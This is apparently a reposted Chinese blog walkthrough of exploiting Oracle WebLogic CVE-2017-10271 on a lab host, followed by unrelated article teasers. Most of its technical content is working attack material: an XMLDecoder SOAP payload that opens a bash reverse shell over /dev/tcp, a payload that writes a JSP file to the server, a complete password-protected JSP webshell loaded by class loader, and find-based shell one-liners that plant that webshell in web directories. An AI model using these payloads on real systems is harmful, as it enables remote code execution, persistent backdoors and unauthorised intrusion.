weblogic CVE 2017-10271

news2024/12/27 1:58:26

weblogic ip :192.168.27.128:7001

使用weblogicscan对目标进行探测

python3 WeblogicScan.py -u 192.168.27.128 -p 7001

image-20230518093702654

扫到了不少洞,现在开搞2017-10271

漏洞原理

CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞。

通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

CVE-2017-10271是对CVE-2017-3506 的补丁绕过,将其中的object替换成了void。

触发漏洞url

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType1

影响范围

Weblogic 10.3.6 | 12.1.3.0.0 | 12.2.1.1.0

POC

从CSDN搞到二手POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

尝试利用一手,抓包修改,放包看看能不能弹出来!

注:抓包后,将GET改为POST,同时在请求头中增加Content-Type:text/xml;charset=utf-8

image-20230518100427322

image-20230518100445047

成功接收到shell

写入后门

先用大佬的poc搞一手,再想办法用前面的命令执行自己写一个

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
           <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
                <void method="println">
                    <string>
                        <![CDATA[
                            <% out.print("test"); %>
                        ]]>
                	</string>
                </void>
                <void method="close"/>
            </object></java></java>
    </work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

直接修改上面的数据包即可

image-20230518100747081

访问http://192.168.27.128:7001/bea_wls_internal/chen.jsp

image-20230518100848855

发现写入成功了,接下来找个小马试试能不能搞进去

拿一个以前找到的,连接密码为passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
public byte[] base64Decode(String str) throws Exception {
    try {
        Class clazz = Class.forName("sun.misc.BASE64Decoder");
        return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    } catch (Exception e) {
        Class clazz = Class.forName("java.util.Base64");
        Object decoder = clazz.getMethod("getDecoder").invoke(null);
        return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    }
}
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

image-20230518101315489

进入chen.jsp看看传成公了吗,然后再用蚁剑连接一手

image-20230518134235759

连接成功!

命令执行写入

find / -name 可访问文件名 | while read f;do sh -c ‘id;pwd;ifconfig’>$(dirname $f)/pwd.txt;done

这里随便找一个可访问的文件,访问192.168.27.128:7001/console,进入到登陆页面,右键查看源代码,随便找一个图片或文件的链接,这就搞到了可访问的文件名

image-20230518101936222

将上面POC中的反弹shell命令修改为

find / -name Branding_Login_WeblogicConsole.gif | while read f;do sh -c ‘id;pwd;ifconfig’ &gt; $(dirname $f)/pwd.txt;done

注意这里的>要用&gt;

这条命令的意思是,找到所有叫Branding_Login_WeblogicConsole.gif的文件,循环读取,每次循环 执行 id;pwd;ifconfig命令,

将输出重定向到当前循环的Branding_Login_WeblogicConsole.gif文件的同级目录下的pwd.txt文件,因为可以访问到该图片,所以能访问到创建的文件

搞一手,试一下啊

image-20230518133426910

image-20230518133458178

成功搞来了绝对路径,但是这个路径访问不到,修改一下,让它给看看当前目录

find / -name Branding_Login_WeblogicConsole.gif | while read f;do sh -c ‘find / -name Branding_Login_WeblogicConsole.gif;pwd;ifconfig’&gt;$(dirname $f)/pwd.txt;done

将目录都输出出来看一下

image-20230518135507478

同样的方法,我们向该目录写如shell

find / -name Branding_Login_WeblogicConsole.gif | while read f;do sh -c ‘echo “<%!
class U extends ClassLoader {
U(ClassLoader c) {
super©;
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName(“sun.misc.BASE64Decoder”);
return (byte[]) clazz.getMethod(“decodeBuffer”, String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName(“java.util.Base64”);
Object decoder = clazz.getMethod(“getDecoder”).invoke(null);
return (byte[]) decoder.getClass().getMethod(“decode”, String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter(“passwd”);
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>”’>$(dirname $f)/aaa123.jsp;done

写进去了,但是好像这个目录不能执行jsp代码,还要换个目录

这回我们搞LoginForm.jsp所在目录

find / -name Branding_Login_WeblogicConsole.gif | while read f;do sh -c ‘find / -name LoginForm.jsp;pwd;ifconfig’&gt;$(dirname $f)/pwd.txt;done

image-20230518141757242

直接写一下试试吧,但是尝试了这个目录写不进去,还是用大佬的POC或者反弹shell吧…

工具一样用就行,没啥意思

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/555505.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自动化如何做?爆肝整理企业自动化测试工具/框架选择实施,你要的都有...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 Python自动化测试&…

电容的电介吸收性质

电介质吸收 我们首先讨论电介质吸收&#xff0c; 也称为“浸润” &#xff0c; 有时也称为“电介质迟滞” &#xff0c; 这可能是我们了解最少而潜在破坏性最高的一种电容效应。 放电时&#xff0c; 多数电容都不愿意放弃之前所拥有的全部电荷。 图2 显示了这一效应。 电容在时…

科技云报道:穿行数字经济时代,数据如何找到“安全感”?

科技云报道原创。 数据作为数字经济时代的新型生产要素&#xff0c;正快速融入经济社会的方方面面&#xff0c;甚至常常被形容为“未来的石油”。 在数字经济时代&#xff0c;数据安全与数据流通同等重要。但随着我国数字经济驶入快车道&#xff0c;数据流动和安全发展的矛盾…

idea中关联Git

注意&#xff1a;未安装和配置Git软件&#xff0c;请先跳转到 Git宝典_没办法&#xff0c;我就是这么菜的博客-CSDN博客 idea关联git 关联git.exe 选择你的Version Control 下的Git 选择你的Git安装目录bin下的git.exe&#xff0c;点击ok 点击Test&#xff0c;显示版本号…

opencv文字识别

OpenCV&#xff08;开源计算机视觉库&#xff09;是一个用于实现计算机视觉和机器学习的开源库。它包含了许多预先训练的模型和算法&#xff0c;可以帮助开发者快速实现图像处理、对象检测和识别等功能。在文字识别方面&#xff0c;OpenCV也有一些实用的工具和方法。 要在OpenC…

【使用ChatGPT写思维导图】

内容目录 一、利用ChatGPT生成思维导图内容1. 打开ChatGPT&#xff1a;2. 输入需求&#xff1a;3. 复制&#xff1a; 二、制作生成思维导图1. 打开思维导图制作网站&#xff1a;2. 网页版下侧 - Try it out → - 粘贴Markdown内容&#xff0c;就会自动生成。3. 自行下载。 一、…

四川省信创联盟2023年第一次理事会顺利召开,MIAOYUN荣获“信创企业优秀奖”!

5月18日&#xff0c;四川省技术创新促进会信创工委会&#xff08;四川省信创产业联盟&#xff09;在成都市高新区新川科技园成功召开《2023年第一次理事单位&#xff08;扩大&#xff09;会议》&#xff0c;四川省技术创新促进会专家组杜纯文副组长、四川省技术创新促进会任渝英…

构建完善的帮助中心,降低企业客户服务成本

随着信息技术的发展和应用的普及&#xff0c;越来越多的企业已开始意识到&#xff0c;通过构建完善的帮助中心&#xff0c;可以有效地降低企业客户服务成本&#xff0c;提高客户满意度。一个完善的帮助中心不仅仅是企业用于回答客户问题的工具&#xff0c;更是客户自主获取和消…

vite + electron 构建前端桌面应用程序

文章目录 一、创建 vite 项目二、构建 Electron 项目三、打包 Electron 桌面程序四、项目地址 一、创建 vite 项目 npm npm create vitelatestyarn yarn create vite选择是否继续 Need to install the following packages:create-vite3.2.1 Ok to proceed? (y) y项目名称 P…

【IIS建站教程】windows本地搭建web服务,内网穿透发布公网访问

文章目录 1.前言2.Windows网页设置2.1 Windows IIS功能设置2.2 IIS网页访问测试 3. Cpolar内网穿透3.1 下载安装Cpolar3.2 Cpolar云端设置3.3 Cpolar本地设置 4.公网访问测试5.结语 转载自远程源码文章&#xff1a;【IIS搭建网站】本地电脑做服务器搭建web站点并公网访问「内网…

【C++】STL——容器适配器priority_queue(优先级队列)详解 及 仿函数的介绍和使用

文章目录 1. priority_queue的介绍和使用1.1 priority_queue的介绍1.2 priority_queue的使用1.2.1 仿函数介绍1.2.2 在OJ中的使用&#xff1a;数组中的第K个最大元素思路1&#xff1a;排序思路2&#xff1a;priority_queue思路3&#xff1a;TOP-K思想 2. priority_queue的模拟实…

C++入门--缺省、函数重载、引用学习

1.缺省参数 1.1缺省参数概念 缺省参数是指在声明或定义函数时为函数的参数指定一个缺省值&#xff0c;如果在调用该函数的时候没有指定参数&#xff0c;函数会使用该参数的缺省值&#xff0c;否则使用指定的参数。 #include<iostream> using std::cout; using std::cin;…

Flutter2.x升级3.x版本遇到的问题及解决方案

项目原本使用的Flutter版本为2.5.3&#xff0c;现在要升级到3.0.5版本&#xff0c;结果升级完后项目直接编译不通过&#xff0c;报了一堆的错误&#xff0c;如果你也是这种情况&#xff0c;可以按我接下来讲的操作试一试&#xff0c;反正我就是这么解决问题的。 目录 1、升级G…

连锁管理系统有哪些功能?如何选择实用的连锁管理系统?

传统门店管理系统有很多弊端&#xff0c;各种销售数据不能实时同步、沟通效率低、分店管理困难&#xff0c;库存混乱...... 一套合适的连锁管理系统&#xff0c;能够有效解决多门店之间的管理沟通难题&#xff0c;总店可以随时随地使用手机掌控分店各种事项&#xff0c;多门店之…

云原生之深入解析Airbnb的动态Kubernetes集群扩缩容

一、前言 Airbnb 基础设施的一个重要作用是保证我们的云能够根据需求上升或下降进行自动扩缩容&#xff0c;我们每天的流量波动都非常大&#xff0c;需要依靠动态扩缩容来保证服务的正常运行。为了支持扩缩容&#xff0c;Airbnb 使用了 Kubernetes 编排系统&#xff0c;并且使…

三分钟上线你自己的Midjourney

文章尾部有demo 江湖惯例&#xff1a;先来一波感谢&#xff0c;感谢laf&#xff0c;让我们可以不使用魔法、免费接入Midjourney&#xff0c;不了解laf的请猛戳 Laf介绍 背景 laf官方最近发布了一个活动&#xff0c;活动链接&#xff0c;新手也可以接入哦&#xff01;废话不多…

优维低代码实践:页面编排优化与数据联调

优维低代码技术专栏&#xff0c;是一个全新的、技术为主的专栏&#xff0c;由优维技术委员会成员执笔&#xff0c;基于优维7年低代码技术研发及运维成果&#xff0c;主要介绍低代码相关的技术原理及架构逻辑&#xff0c;目的是给广大运维人提供一个技术交流与学习的平台。 优维…

NEEPU Sec 2023公开赛Reverse题目复现

文章目录 一.Base二.How to use python1.程序逻辑分析2.爆破flag[11]~flag[14]3.爆破sha14.sha256掩码爆破 三.IKUN检查器1.查看程序信息2.分析程序逻辑3.button1_conClick函数4.check1函数5.check2函数6.check3函数7.check4函数8.check5函数 四.junk code1.使用32位动态调试工…

[Nginx 发布项目] 打包后的项目,使用nginx发布

前提 &#xff1a;使用的 mars3d 沐瑶大佬 修改后的nginx , - 下载地址 使用的是 Mars3D三维可视化平台 | 火星科技 修改后的 nginx 发布的服务&#xff0c;确保nginx发布服务时正常 &#xff1b; 如果不是&#xff0c;那这里应该没有你想要的答案&#xff1b; 1、直接替换…

006 - RCC时钟树(一)时钟树内容

006 - RCC时钟树&#xff08;一&#xff09;时钟树内容 本节内容一定要结合RCC时钟树和官方手册学习&#xff0c;如果看不明白的话&#xff0c;建议看一下野火官方的教程&#xff0c;火哥讲这节讲的很详细&#xff0c;看一遍基本就能理解了。 上节内容中分析了启动代码&#…